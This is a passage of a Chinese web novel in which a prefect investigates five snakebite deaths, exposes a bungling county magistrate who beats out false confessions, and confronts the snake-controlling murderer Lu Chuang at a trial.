宋亭舟等他哭够了,情绪平复下来才继续问:“你说之前找过杨泰常去贩糖的几个村子,可有问到些什么?” 杨泰儿子红肿的眼睛被泪水蛰的生疼,他擤了下鼻涕,闷着声音说:“我们本来是马坡村的人,我爹贩糖也常去那边,但我问了村里人,他们说我爹当天上午是去过,但待了不到两刻钟就走了。之后又有几个隔壁高山村的说当天下午见过他去高山村卖糖,可以没待太长时间。剩下就再没有人见过他了。” 从杨家离开后,宋亭舟又立即带着人去马坡村和高山村。马坡村的人说的与杨泰儿子几乎一致,杨泰当天上午确实去过马坡村,还和相熟的村民聊了会儿天,之后顺顺当当的从马坡村离开,往高山村去了。 高山村名副其实,山比周边其他村子的山都要高上不少,林子也深。宋亭舟站在高山之下,看着深林中密密麻麻枝干交错的树枝,“此林之中,会有毒蛇猛兽吗?” 楚辞轻蹙眉头凝望了一会儿,对宋亭舟比划道:“看不出来,但应该是有的。” PC站点如章节文字不全请用手机访问 第31章 费敬 知人用人,身体力行。办过铁案,也治过贪官。身上自然而然的流露着普通人没有的威仪气势,只要不傻就能看出他来历一定不简单。 “你是哪家的少爷公子啊?怎么没见过?”有村民在宋亭舟面前试探着问话。 陶十一语气轻佻的回他:“我们大人……” “十一!”陶八厉声喝止他。 陶十一打了个激灵,扭头一看,宋亭舟正目光沉沉的看着这边。 近来天气潮湿,棉布虽然也透气,到底不如锦布丝滑凉快。孟晚给他准备的衣物大多都是丝质锦袍,他今日穿了一身墨色锦缎,袖口处绣着不甚明显的蓝色暗纹。头上束着朴拙的玉冠,脚上踏着缎面的黑靴,不看他严肃如冰霜的脸色,单这一身装扮确实像大户人家的贵公子。 “原来是外头的大官啊!草民们给官老爷磕头行礼了。”村民们听了陶十一的话恍然大悟,他们不懂什么繁文缛节,只听说见到官老爷要下跪磕头。 也有人将信将疑,“哪儿来的官这般年轻?” “不会是咱们德庆县的县太爷吧?” “咱们县太爷你还没听过?儿子都快二十了,能这么年轻吗?” 既然已经泄露的身份,宋亭舟干脆直接承认,“本官确实是自府城而来,专门为了调查杨泰的案子。” 说这话的时候,他眼睛一瞬不瞬的盯着人群里的村民们,忽见一个身穿褐色粗布衣裳的汉子眼神似有几分闪躲。 “十一,将那人带过来。”宋亭舟往那汉子身上一指,对方面色大惊,想也没想转身就跑,但只窜出去十几步便被疾如闪电的雪狼给叼住裤腿。 随后身形最灵活的陶十一也跟了上去,将那汉子死死地按在了地上。 “你跑什么跑?杨泰是不是你放蛇给咬死的?”陶十一语气狠厉的询问他。这是他们这群做捕快的本能,却将那汉子吓得哇哇乱叫,“我没有,我没杀人,青天大老爷饶命,小的真没杀过人啊!” 那汉子结结实实的一个大块头,性子却胆小如鼠,鼻涕眼泪齐飞,把陶十一恶心的不行,揪着他后颈上的布料,将人给生生拖到宋亭舟面前。 “你和杨泰是何关系?”宋亭舟开始审问此人。 那汉子不知道自己脑补出来什么,吓得话都说不利索,“小……小人跟他不熟,就……家里……家里婆娘在他手里买过两次糖。” 有村民小声嘟囔,“不对吧?我想起来了,那天杨泰走的时候你是不是还骂了两句?” 因为类似于指桑骂槐,当时谁也没想到他那句话是骂杨泰的。这么一说,其他人也有了印象。 “好像还真是。” “是不是因为他媳妇卖糖多和杨泰说了几句话?” “平日里心眼小的和针尖似的。” “就这么点小事不至于杀人吧?” 宋亭舟目光如炬,他居高临下的盯着那汉子,在优越的身高和气势下,压迫感十足,“既然不熟,为何听到本官是来查他的案子便心绪不宁,转身逃跑?你与杨泰到底有何瓜葛!” “小人……小人……”那汉子支支吾吾回不上话。 “既然拒不配合,便将人押回府衙,带到公堂上审讯吧。”宋亭舟冷声吩咐。 陶十一听闻手上一个用力,便将跪在地上的汉子给提了起来,陶八陶十怕他制不住人,都凑过来拎着绳索想把人先捆上再说。 那汉子吓破了胆,忙怪叫道:“大人饶命,小的是个杨泰有些小恩怨,但真的没杀人啊!” 陶十一管他杀没杀人,宋亭舟让他将人拖走,他就先绑结实了再说。 PC站点如章节文字不全请用手机访问 村民们被怎能料到这府城来的大官,说将人绑了就绑了,吓得四散退开,生怕下一个被抓的就是自己。 “大人不要抓我,我说,我说,但是我真的没有杀人!”那汉子再三保证,表情害怕又憋屈。 原来他本是高山村的樵夫,家里传下来一座山头,便专门以砍柴为生。但春夏两季不砍柴的时候还是以干地里活为主的,宋亭舟去年任同知之职,已经使整个府城都推行梯田,高山村也不例外。 樵夫家里本就有山,这下连荒地也不用买,直接开自己家的山就好。 那天他正在山上开荒,推了个单轮的木推车上山运石土,没成想竟然在林子里看到了躺在地上的杨泰! “我看到尸体的时候吓坏了,谁都知道杨泰和我媳妇眉来眼去过,我在背地里又骂过他两回。人死在我家的山上,我再把尸体背下山去,旁人定说他是我杀的!”樵夫满脸菜色,浑身哆嗦。杨泰以前穷不说,现在不光富了,又结识了不少赫山糖坊的商贩,他儿子要是以为自己杀了他爹,都不用县太爷审,便得先把他打个半死。 更不用说他们德庆县的县太爷是个糊涂官,审案从来没超过半天,抓进衙门就要定案。 “我怕县太爷判我杀人,就想把尸体偷偷给埋了,谁知道,刚把杨泰的尸体搬到推车上,竟又看到四具尸体!”樵夫哭丧着脸,一副衰样。 一具尸体都动了,剩下四个也不能死在他家山上吧?他那时候也不知道怎么想到的馊主意,竟然趁着四下无人,将五具尸体全都运到家门口的柴火垛里。 樵夫以卖柴为生,家门口垛着四五垛干柴,尸体往里一放,旁人轻易是看不见的。 但近来天天下雨,尸体就那么放着早晚会被人发现,到时候就是他长了十张也说不清楚。 他不敢把人埋在自家山上,干脆借着出去卖柴的由头,把尸体都放在他家牛车上,一路不停的走了三天三夜,找了座不认识的山将尸体都给埋了。 陶十一刚被训了一顿,还是没忍住多嘴,“你知不知道你跑到了府城郊外的山上埋尸,正巧被我家大人养的狗……狼给刨了出来?” 樵夫人都傻了,“我没去过府城,就想跑的远远的,黑灯瞎火我心里又害怕……但是大人我真没杀人啊!我看见杨泰的时候他还吊着口气,那会儿小人还没上山呢啊!”他人也就比宋亭舟他们先回德庆县一天而已。 宋亭舟听他嚎了半晌终于听到了有用的信息,“你说你见到杨泰的时候他还没咽气?那他可说了什么?或是见到什么可疑人物?”他一连问了好几个问题。 樵夫摇摇脑袋,“什么人都没有,但是我看到了一条小蛇,从他身上钻出来,那么小的一条,爬的飞快,吓了我一大跳,想用镐头敲,但那蛇已经爬远不见了。” 陶八和陶十等人全都望向宋亭舟,这樵夫说的应当属实,事情还真的对上了。 宋亭舟目光幽深,他理了理衣冠,往马匹去走去,“去县衙,见当地知县。”事情已经调查的差不多,是时候去县衙见见德庆县的父母官了。 陶十一夹着樵夫往马上一扔,动作利索的上了马,连年纪最小的楚辞也有模有样。 雪狼跑在最前面开路,离马匹远远的,不然会惊到它们。 一行人低调的来村子探查,张扬的踏马离开,晚上重回德庆县,直奔县衙而去。 德庆县的知县费敬这会儿刚洗漱完毕准备休息,冷不丁被丫鬟敲门,没好气的说:“都什么时辰了还敢过来打扰,天大的事也等明日再说!” 丫鬟唯唯诺诺的说:“大人,来人是府城过来的,说是姓宋。” “管他是谁……谁?”费敬从床上连滚带爬的下来。 丫鬟又在门外重复了一句,“府城来的,说姓宋,人在门外等……” 她话还没说完,费敬已经冲到门前,衣衫不整的系着官服的带子,“快快快将人请进来!” 费家的厅堂里,宋亭舟端坐在上首,“把今年的卷宗都搬过来给本官一阅。” 费敬欲要推脱的犹豫姿态,对上宋亭舟锋利的眸子瞬间清醒过来,这位新任知府的名声可是已经响彻整个岭南了,知县他也不是没有办过,谁对上他能有好果子吃? “下官这就叫人去,不不,下官亲自去取,还请大人稍等片刻。”费敬半点没有推脱,麻溜赶去县衙找卷宗文册。 他走后跟随宋亭舟来的楚辞开始四处打量,他这些年跟着孟晚也算是见识不少了。 PC站点如章节文字不全请用手机访问 费家中堂摆着的屏风上绣着以假乱真的苏绣,墙上挂了两幅笔锋清丽的山水画,八仙桌和柜子等都是用的棕黄色鸡翅木,不说富丽堂皇,也算是小有家底了。 陶十一待不住,这会儿顺着楚辞的目光也察觉出几分,“大人,不是说这个费敬资质平庸,举全家之力才考上个同进士吗?怎么看起来也不像传说中那么穷啊?” “三年清知府,十万雪花银。若是他想要,不必贪什么银子那么麻烦,光是当地乡绅送的钱财就能将他养的肥壮。”这是当下官扬的常态,哪怕是穷困如岭南也不能避免。 为官糊涂,不敢大贪就罢了,只要上听上司的话,下不欺压百姓,多半不会狠罚。 费敬很快拽着县衙的县丞一同回来,他小心翼翼的揣摩着宋亭舟的脸色,然后将一年内的公文都搬到宋亭舟面前。 宋亭舟略过其他,先看了当地的水利修缮进度,见上面记录着险要水坝都已经用水泥铺设完毕,这才又看向其他公文。 “马坡村杨泰失踪一案怎么没有记录在册?”宋亭舟沉声问道。 费敬一脸茫然的看了眼县丞,县丞忙道:“大人恕罪,下官确实接到过杨家人报案,但因为杨泰素来下乡走贩,三两日不回家也……也是常态,所以并没有立案。” “常态?”宋亭舟睨了他一眼,“杨泰现在人都死了,县衙可曾立案?” 费敬和县丞低头不敢说话。 宋亭舟又问:“刘、李两家报案又为何不受理?” 县丞支支吾吾,“这……下官……” 宋亭舟声音严厉,“费敬!” 费敬“扑通”一声跪到地上,“大……大人。” “你身为知县,难道万事不论,公务都交给底下县丞,自己连过问都不过问一番吗?”宋亭舟面色不虞,显然是对他这个知县相当不满。 “大人息怒,都是下官的错。大人舟车劳顿来到德庆,本该好好安顿一番,却为了我的错事让大人费心,是下官该死。”费敬认错认的倒是干脆,言语间多是讨好。 宋亭舟黑眸沉沉的看着他表演,当下查案要紧,还有用得到费劲的地方,收拾他目前倒不甚紧要。 “明早吩咐你手下衙役捕快从马坡村开始,逐一探访各村村落,探查德庆是否还有其他失踪之人。” “是,大人!” 拒绝了费敬的极力巴结和挽留,把樵夫先扔到县衙地牢里看守起来,宋亭舟一行又回到了之前落脚的客栈。 剩余两具认领的尸体同样都在德庆县,一家情况与杨家相同,是由村落中搬到县城,一家仍在乡下住着。 第二天一早,宋亭舟先去带人去了趟城中那户姓刘的人家,得到的说辞和杨家相似。 刘家男人原先是在码头做力工的,他家没有田地,一家子人在码头旁边搭了个草棚子住。后来他家小哥儿去嫁到了赫山的红山村,亲家家里包了上百亩地种不过来,年年花钱找人。为了救济岳家,肥水不流外人田,就把刘家人都叫去种甘蔗。 种了两年,刘家人看见了甜头,从亲家那里借了钱也包了几十亩地种甘蔗卖给糖坊。因为离得远,来去费劲了一点,但这点辛苦和收益一比就不算什么了。 刘家人攒了几年钱,在县城买了小宅子,又置办了田地。 了解到这儿,宋亭舟已经有所猜测。到乡下李家跑了一趟,果然——李家虽然没搬到县城,但家里过的也是村里顶好的日子。 同样是之前家境贫寒,后突然乍富。 说来也不算是乍富,按照孟晚当日在赫山给当地百姓喂饭的作风,赫山的百姓们才算是乍富。 如今的红山、红泥两村,不论嫁娶都十分抢手。未免人口拥挤,籍贯也轻易迁不进去。不然再过两年就该叫红泥镇和红山镇了。 PC站点如章节文字不全请用手机访问 第32章 真凶? 其中一户人家是做车夫的,平日里并没什么仇家,便是因为抢生意和同行发生几句口角,也不至于被害了性命。 车夫动辄便出去几日到几月不等,有时候遇上急活,甚至来不及通知家人,因此他家里人至今还不知道丈夫/父亲已经死去的消息。 另一户人家就比较奇怪了,他们对死者漠不关心,便是人已经失踪了快半个月,他们也无动于衷。还是当地村民告诉衙役他家的媳妇久不出现,再去他家细问下,才知道唯一的那具女尸是这家媳妇。 “大人,郑人家不肯说。下官走访了当地村民,这才知道郑家的女人和其他人有染,郑家人嫌丢人,以为她和奸夫跑了,所以没出去找人。”费敬查出了点眉目,忙在宋亭舟面前邀功。 宋亭舟面不改色,“奸夫何许人也?二人又是何时有的奸情?奸夫一事是听她家人说的,还是你亲自探查过?” 被宋亭舟犀利的三连问,费敬修整精致的三缕髯蔫答答的衰落下去,“下官还没来得及问,这就重新去查。” 临出门宋亭舟在他身后淡淡的说了一句,“费大人,若是你再汇报给本官这些虎头蛇尾的消息,今年你的政审,在我这里绝对不会过关。” 费敬心里咯噔一声,立马腰背挺直,敛容正色道:“大人放心,以后下官定会核查清楚后再回禀大人。” 他做为当地父母官,从村民口中打探消息远比宋亭舟更方便,带人去郑家威逼利用一番,郑家人很快便被吓得吐露了实情。 原来郑娘子和一个叫陆闯的男人青梅竹马一起长大,但陆闯后来做买卖欠了一屁股债,背井离乡不知所踪,郑娘子便改为嫁到郑家。 去年陆闯不知从哪儿混的人模狗样的回了乡,和郑娘子几次拉拉扯扯额被郑家人给看了个正着,郑家人把郑娘子拉回家去一顿好打。 若是这样也就算了,偏偏郑娘子被打了后又主动去找陆闯,这事被其他人看见了,村里这才开始传出闲话来。 在费劲看来,这就是一个不知廉耻的荡妇肆意勾搭旧情人的事。但想起宋亭舟的严肃的脸,他只能动弹起养尊处优的双腿,又去郑娘子的姘头,陆闯家里去查探消息。 孟晚在德庆县设有商站,巧的是陆闯就在商站里做工,还因为识字的关系,混上了商站的临时管事。 临时这个说法是因为商站初开,有些地方孟晚没来的及一一巡视,便先由余彦东看着安排。后续孟晚觉得人得用,品行也可用的,便可以升为正经管事。 陆闯四十来许的年纪,鬓角挂上些许岁月的风霜,但他说话行事圆滑,几句话便捧的费敬飘飘然。 可基于宋亭舟的威严太盛,费敬还是没能忘记这次来的目的。 “你和林巧娘是何关系?”林巧娘便是郑娘子的闺名。 陆闯的脸色有些尴尬,“这……大人,我们……之间不太好说。” 男人若与谁家媳妇纠葛,说出去顶多被人笑骂一句风流种子,陆闯并不怕有人知道他和林巧娘的关系。 费敬冷哼一声,“什么不好说,是不光彩吧。本官问你,四月十六那天,你有没有同林巧娘私会?” 陆闯斩钉截铁的回答:“没有!” “四月初八到四月十六,我们东家叫所有商站的管事都去府城统一培训,一共九天全都吃住在一起,我直到二十一才回德庆县来。” 陆闯言之有物,“大人不信,尽管去问其他县城商站的管事,若不然还可去府城去问我们东家,他当时手把手的教我们,可是日日都看得见我的。” 费敬一琢磨,商站的东家,那不就是宋大人的夫郎开得吗?当日开建之前,还曾有人手持他的书信到县衙打招呼来的。 这陆闯是宋大人夫郎手底下的人,不好抓去衙门审问,总归案发之际此人也有不在扬证据,干脆走走过扬也就算了。 费敬大张旗鼓的带人来查案,又自作聪明的想撤回县衙,岂料陆闯又送他一件大礼。 “大人,巧娘的死我其实也略有耳闻,其实当日我离开德庆县之前,曾见过她一面,她说……” 费敬把手往旁边的桌子上重重一拍,声音拔高,“同本官卖什么官司,快说!” 陆闯生怕惹怒了县老爷,诚惶诚恐的说:“是是,大人息怒,小的这就说。那天巧娘来找小的,颇有些心神不宁的样子,我还以为是郑家人因为我俩的事又为难了她……”陆闯说着还有几分尴尬的瞄了费敬一眼。 PC站点如章节文字不全请用手机访问 “没想到她对小人说,近来总觉得有人跟踪她,她怀疑是郑家找了人要杀她。” 费敬眼神一亮,“之后呢?” “巧娘说怕郑家人要弄死他,要我带她离开。”陆闯干笑一声,“小的马上要去府城,便没答应,而后她就独自离开了。” 费敬听了他的这番话,越想越觉得郑家人极为可疑。知道林巧娘死后的冷淡姿态,除了是恨她偷人,没准也是早知道她的死讯,因为人——就是郑家人杀得! 他风风火火的又回到郑家,一番棍棒伺候,把郑家人从小到老打的是哭爹喊娘,终于吐出了“实情”。 十天前——四月十六。 郑二跟在林巧娘身后,睚眦欲裂,他前几天亲眼看见林巧娘进了陆闯的家门,当时恨不得将屋里那对狗男女通通砍死。 但他没有那么做,他知道杀了人是要偿命的,陆闯那个王八蛋该死,但自己弄不了他。 心中的怒火无处宣泄,后来林巧娘竟然又去找陆闯,村里的人都在笑话他当了绿头王八,这个贱人不死,他一辈子抬不起头来。 四月十六那天,林巧娘本来在家里喂猪,突然就撒手将提着泔水的脏桶扔到了地上,直愣愣的往外走去。 郑二怒从心来,还以为她又要去找陆闯,顺手提起柴火垛旁的斧头就跟了上去。 一路跟着林巧娘,却见她越走越远,仿佛不知疲惫般。也不知走过了几个山头,郑二途中几次歇脚,愣是凭着一股子要杀人的毅力一直跟着,他倒要看看这个贱货要去哪里与人私会。 这会儿林巧娘好像一个不知疲惫的傀儡一样,能看到她布鞋的鞋头都渗出一点血色,却一步都没有停顿,一直走到一座陌生的山头。郑二实在累得够呛,在山底下歇了两口气才上山去。 上了山才发现,林子里除却林巧娘之外,赫然还有其他四个男人! 郑二气得理智全无,“啊”的怪叫一声,刚要上前挥动斧头砍人,便猛然发现了诡异之处。 这五人听到他的喊声竟然半点反应都没有,仍旧笔直的站在原地,甚至连头都没回一下。 郑二这时已经冲到他们面前,再一细看,只见五人眼眶里爬满了密密麻麻的黑色丝线。冷不丁的端详下,竟觉得他们都不似活人! 更瘆人的是,一条小拇指粗细的黑色小蛇不知打哪儿来的,缓缓缠在林巧娘脖颈上,一口下去,林巧娘便倒了下去。下一秒那小蛇腾空而起,一瞬间后又出现到了另一个男人脖子上,又是一口下去,那个男人也倒了地。 十息的功夫都没到,形态诡异的五人便先后倒下。郑二吓得差点尿了裤裆,他扔了斧头,手软脚软、连滚带爬的想往山下跑。 “小人当时吓得要死,还管什么抓奸不抓奸的,只想活下一命就好了。”郑二现在想起当时的情景就害怕,再次提及身上依旧冷汗直冒。 费敬观他神色不似作伪,恨得牙根痒痒,该死的郑二若是认罪他也能向宋大人交代,如今又搞出这么诡异的杀人手法作甚! “你的意思是说,无人杀害他们,他们都是被毒蛇咬伤?” 郑二快速点了点头,结果费敬勃然大怒,“放屁!谁不知道这五人是被蛇咬死的?问题是怎么可能这么巧,毫无关联的这五个人就这么被咬死在深山里?” 难道他也要向宋亭舟胡扯这么一番吗?那都不用等到年底,知府大人现在就会让他停职查办,还不如把这个郑二抓回去顶包! 郑二见他脸色不对,又飞快摇了摇头,“大人,小人跑下山之前看到那条小蛇……它,它爬到了一个少年的袖子里。” “对,然后那少年,拿条蛇威胁小人,让小人将他带回家去供他吃喝。小人实在是太怕了,就把人带回去了。”郑二声音渐弱。 费敬立即精神抖擞,“快说,那少年身在何处!” 郑二眼睛瞥向自家地窖的方向,“我们害怕他手段残酷,怕他再害人,就……就把他关在了地窖里。” …… 傍晚,费敬擦着黑回到县衙。 PC站点如章节文字不全请用手机访问 “宋大人在不在二堂?”他压着嗓子问守门的衙役,活像进的是别人地盘,偷偷摸摸,鬼鬼祟祟。 衙役不明所以,“知府大人又去乡下查案了。” 费敬直起腰板不屑的小声嘟囔,“一群愚民,还有什么可问的,本官早就找到了真凶!” 衙役:“啊?” “啊什么啊?去班房叫人,本官要立即升堂!”费敬琢磨,赶紧审出真凶,也好叫宋大人看看他的本事。 说是升堂,但被押送到堂下的人明显已经人事不知。 费敬换好官服重回公堂,却见堂下的人还是面朝下的趴在地上。 他心里叨咕:这郑二下的是什么迷药,真是好生厉害。 嘴上指使着衙役们,“来人,打桶井水过来,把人给我浇醒!” 一桶井水下去,地上的人终于有了反应,他挣扎着从地上爬起来,身形摇摇晃晃,看着周围陌生的环境,嘴中说出一连串陌生的语言。 费敬见他身上穿着奇装异服,露出晒成古铜色的胳膊和小腿,身量极高,长相英气。头发杂乱的披散着,眉毛上方生着一粒赤红色的小痣,惊讶道:“竟然是个哥儿?怎么穿成这样,莫不是暗巷里做皮肉生意的?” 他心里暗自庆幸,幸好先将人给弄醒了,这种小哥儿就是长得比常人高些,又怎么可能连杀五人呢?多半是郑二在诳他! “来人,先把嫌犯押到牢里去。”再派人把郑二抓回来认罪! 衙役听了费敬的吩咐大步流星的走到那哥儿身边,手刚搭到他棕色的胳膊上,结果居然被一把甩飞了出去。 那哥儿中的迷药显然还带着药性,甩飞靠近他的两个衙役后,扶着额头要倒不倒的样子。 费敬人都傻了,随后立即兴奋起来,“如此力大无穷,奇装异服,野蛮不通俗语,定是凶手没错!都上!把他给本官抓住,断胳膊断腿也不要紧。” 衙役们一拥而上,虽然也能给上人两拳,但明显他们的损耗更大,一时半会竟然拿这小哥儿没法子。 费敬在上面看的干着急,要是叫这小哥儿跑了,他上哪儿再去找个凶手交给宋亭舟啊!“有个死的尸体,也比将人放跑了强。把刀都给我抽出来,砍死了算我的!” 做为主审的知县,费敬是有权利在制不住嫌犯时“不小心”将对方误杀的。有了他的这句话,衙役们便更能放得开手脚了。 那小哥儿中了迷药,听到动静赶来的衙役又越来越多,很快他便招架不住,身上被砍出了道道伤口。 眼见着双拳难敌四手,县衙大门被人从外面踹开,宋亭舟带着一行人大步冲了进来。 雪狼受了楚辞叮嘱,先扑上来撕咬那些衙役,护住了奄奄一息的小哥儿。 费敬从桌案后面小跑着下来,“大人,您回来的正好,下官已经查到真凶了,只是这小哥儿果然凶恶,我们一时半会竟然制服不住他,只好动了刀子。” 宋亭舟看着地上半死不活的小哥儿,和他身上涓涓流血的伤口,额头上的青筋直跳。他咬牙切齿的对费敬说:“费大人,真是好手段啊,我竟从未见过案子还未审查清楚便痛下杀手的县官。” 他挥手让陶八提了个男人上堂,锋利的眼神直射向费敬,“费大人说这小哥儿便是真凶,那我手里这个嫌犯又是何人!” PC站点如章节文字不全请用手机访问 第33章 图腾 “陆闯?” 费敬一惊,心想宋大人怎么将他给抓回来了?但见宋亭舟面色不愉,还是压下心底的疑问,忙对宋亭舟解释道:“大人明鉴,下官是仔细探查一番,又找相关之人问过话了,这才确定这个哥儿就是凶手的。” 宋亭舟看他暗自窃喜模样就觉得牙根痒痒,“你是不是还找过郑二?” 费敬堆了个笑脸,“没错,下官抽茧剥丝,终于查到郑家人的古怪……”他将郑二的离奇经历,重复了一遍给宋亭舟。 宋亭舟板着脸对陶十挥了挥手,陶十便押着人从后面走到近前来,手里提着的不是别人,正是郑二。 费敬热切的说:“大人,郑二下官已经提审过了。”现在对方脸肿的像猪头一样还是他的杰作呢。 宋亭舟实在没忍住,一脚将还敢在他面前邀功的费敬踹了个跟头出去,声音冷似寒冰,“蠢货,他们说什么你就信什么?” 他越过糊涂县令费敬,自行迈步走到明镜高悬的匾额下端坐,惊堂木一拍,深沉的嗓音带着身为高官的威严,“疑犯郑二,还不将你当日所观所闻,皆如实招来!” 宋亭舟虽没穿官袍,但浑身冷肃的气质比起费敬来不是强上一丝半点。地上气息微弱的小哥儿张开虚弱的眼睛,第一眼便戒备的看向正在为他医治的楚辞,随后就是坐于堂上的宋亭舟。 他虽然听不懂这些人的语言,但也知道如果不是这个男人,自己刚才一定会死。 深深地将宋亭舟的音容样貌记在脑海,那小哥儿在垂眸对着为自己医治的楚辞时,放下了几分戒备。 郑二被陶十一把推到堂前跪着,也不知宋亭舟是怎么审他的,只见他神情萎靡,低垂着脑袋老老实实的陈述起来,除了前面和对费敬说的一样,之后的说辞明显和之前不一致。 “小人当时吓得紧了,慌不择路的想逃……” 当时的郑二人已经麻了,并没有如对费敬说的那样顺利逃脱。而是一扭头的功夫,脖颈上便突然出现一阵黏腻的凉感。 有东西缓缓在上面滑行的感觉是如此真实,还没有被咬,郑二就已经被吓得抽搐的翻了白眼晕了过去。 再次醒来是在山脚,郑二躺在树下睁开眼睛便看见面前站着个穿着穿着奇装异服的少年。他穿着靛蓝色的中袖短衫,露出浅棕色的胳膊,下面裤子也只到膝盖处。鞋是草鞋,头上戴着布帽包裹住额头。 少年个子十分高挑,长相也英挺。但因为他衣裳的领口极大,郑二一眼便瞧见少年脖颈上小小一粒的喉结。 “是你救了我吗?”郑二从地上爬起来,脸上的笑容有几分古怪。 那少年盯着他看了一会儿,缓缓点了点头。 郑二不敢再回山上确认林巧娘到底死没死,将这个衣着在他看来称得上是暴露的少年带回了自己家。 可惜的是,少年似乎是个哑巴,一直没有开口说话,偶尔听郑家人说话的时候,还经常会露出迷茫的神情。 郑二心中有所猜想,这个少年应该是久居山上,很少下山,与正常人语言不通,甚至有可能是个傻子。 这样的话,他心里某些念头就更活泛起来了。本来他是想先稳住少年在他家住下的,但少年住了几日后居然提出想要离开。 郑二怎么可能就这样放他的“救命恩人”走出他家大门。把早就准备好的迷药下到饭菜里,迷倒了毫无所觉的少年,刚要办事,没成想衙役便查到他家头上,郑二只好把少年藏到了地窖里去。 宋亭舟把惊堂木扔到费敬头上,“听见了吗?连郑二随便找了个人敷衍你都听不出来,一心只想潦草结案,你这个德庆父母官简直可笑!” 费敬在堂下被砸也不敢吭声,他不反思自己办案不利,反而琢磨着白天打郑二这个衰仔还是打少了,竟敢蒙骗与他! 宋亭舟只看他脸色便能猜出他心中所想,不免冷静的思考卢溯何时进京赶考,自己该资助他些路费。二甲应该是考不上了,若是能考中同进士,运作一番任德庆知县也可,起码比这个蠢得无可救药的费敬强。 “你只是一个普通农户,又是从何处寻来如此厉害的迷药的?”摒除杂念,宋亭舟继续审问郑二。 郑二老老实实的说:“小人先是去回春堂问了一回,买了一小包麻药,那郎中说是止痛用的,会使人浑身麻痹,药力会依据人的体魄而变化,但小人给那哥儿下了药后,那小哥儿便一睡不起了。”他也没想到那药会这么好用,一度以为那小哥儿死过去了。 “当日你买了药后,是不是撞到了一个身量矮小的乞儿?看看是不是这个。”宋亭舟一声令下,陶十一也推了个乞丐出来。 PC站点如章节文字不全请用手机访问 被他这么一问,郑二回忆起来,“啊!当日好像是有个小乞丐撞了我一下,我还骂了他两句。”但长什么样被他给忘了,如今见堂下的乞儿,好像确实身形相似的样子。 那乞儿拿钱办事,立刻便招了,乌漆嘛黑的脏手指向陆闯,“是他给了我一包药粉,叫我把姓郑的药粉掉包的。” 本来这条线极不好查,可谁知乞儿贪婪,得了陆闯的钱便罢了,又拿着掉包后的药粉,重回药堂换铜板。 那买药的药童觉着稀奇,便记住了这桩小事,在铺子里嘀咕别是那乞儿偷了郑二买的药。 宋亭舟调查到陆闯身上时,正巧接触过药堂的药童,如此才查到郑二和陆闯之间除了什么奸夫之外,还有其他隐秘。 “陆闯,你有意买通乞儿将郑二手中的迷药换成药性更强的药粉,是不是认识堂下的小哥儿?” “那五人死在樵夫家的山上,又是否与你有关?速速将实情招来,免得本官还要大费周章的一样样审问你。” 宋亭舟冰冷的言语砸在陆闯身上,对方竟然没有多少惧意,反而泛起一阵古怪的笑容:“想必大人已经去过平乐镇的老宅,该查的都已经查到了吧?何必再多此一问呢?” 宋亭舟深深的看了他一眼,“林巧娘、车夫、杨泰、刘用、李二壮,这里面除了李巧娘外,剩下的四人唯一共同处,便是穷人乍富。且贫穷时,都曾做过平乐镇陆家的长工。” 一边旁听的费敬终于对上了宋亭舟的思绪脉络,“平乐镇陆家不是德庆上一辈鼎鼎有名的乡绅吗?你也姓陆,原来你是平陆镇陆家人!” 在扬众人并没有想搭理费敬的。宋亭舟虽然查明了事情原委,但实在不解陆闯动手的原因,“难不成陆家败落和他们五人有关?你连杀五人是为了报仇?” 陆闯神情坦然,“陆家早在我小时候就已经开始衰败,只不过那时候的我还是个什么都不懂的少爷。” 陆家在德庆县是老牌地主,盛极一时,最繁华的时候,家里也出过进士和举人,只不过到陆闯的时候,已经逐渐开始衰败。家族久盛必衰,这也算是常态。 按照年纪来算,陆闯应该是同车夫、杨泰、刘用、李二壮无四人一起长大的,林巧娘又是他未婚妻,至此,这五位死者之间的关联总算连接上了。 “大人不必再猜,我直言告诉你也无妨。”陆闯哪怕是跪在地上 受审,也仍是一副轻松姿态,在如今线索如此繁琐的时刻,竟然丝毫没有恐慌。 “他们以前在我面前都是粗俗至极的下贱人,连饭都吃不饱的时候仰仗我们陆家的鼻息苟活,我吃剩的半个馒头他们都要抢着吃。” 似乎是回忆起了当年年幼时做少爷的时光,陆闯本来市侩的面相都变得高傲起来。他眯着眼睛,抬起下巴,“后来我家落魄了,他们反倒一个个发达起来,买宅子,做买卖,凭什么?” 饶是宋亭舟自诩见过大风大浪,入过宫、面过圣,在最低微的时候经历过官扬黑暗的厮杀,也确实没捋得懂陆闯的脑回路。 “就因为他们依靠自己的勤奋发家,碍了你眼,你就要杀了他们?” 陆闯嚣张的大喝,“没错!他们一朝做了贱民就该一辈子低头在我面前做人。那个车夫算个什么东西,竟然在我面前指手画脚的指点我。还有杨泰,他明明是这群人中最蠢的一个,偏偏现在混得最像样子的也是他。林巧娘那个贱人还是一样的贱,说是当时解除婚约的是她爹娘的主意,还以为我现在没娶是还惦记着她,要补偿我银两给我介绍她妹妹认识。” 陆闯粗鄙的吐了口口水,“我呸!就她也不看看自己什么样子,当年是我主动不要她的,她还以为我真能喜欢上她这种乡野婊子吗!” 郑二双目圆睁,“那为何你说巧娘主动勾引你上床,你竟然骗我!故意毁她名声!”他几乎被陆闯坑的家破人亡,虽然没杀人,但是也免不了牢狱之灾。冷不丁知道一切的开端是陆闯编的,从地上扑起来就给了陆闯一拳,然后被衙役重新按倒在地。 陆闯捂住受伤的嘴巴,吐出一口血沫出来,讽刺的说:“你装什么装,自己枕边人什么脾气性格你都不知道,旁人说几句话就信,你也有资格替那贱人出气?” 郑二眼睛通红,忍不住叫嚣着要手撕陆闯。宋亭舟沉下脸,二话没说扔了两个红头签下去,“郑二诱拐良家哥儿,先打二十大板,押入地牢。” “是,大人!”陶八作为府衙司狱,直接接手了德庆县衙的捕快和衙役。将郑二拖到春凳上就开打。 郑二的惨叫声传到公堂上,惹得堂上几人脸色大变,只有陆闯还算镇定。 宋亭舟看了眼堂外已经完全暗下来的天色,吩咐衙役们将火把点上,在月色下继续审讯。 “费敬查到郑二身上,也是你故意误导的吧?你知道这个哥儿在郑家,也知道费敬是个办案潦草的糊涂官,郑二又是个贪生怕死的狡猾之辈,你想借官府的手让他死?” “他是什么人?你既然手段莫测,会御蛇杀人,又为何不直接用蛇杀他?” 陆闯面对宋亭舟的几番逼问,眉头都不皱一下,语气平淡的说道:“小人承认御蛇杀人一事,但这什么小哥儿,明明是郑二自己贪花好色,与小人又有何干?小人不认。” PC站点如章节文字不全请用手机访问 宋亭舟似乎早就料到了他不会承认,“将他上身的衣裳扒了。” 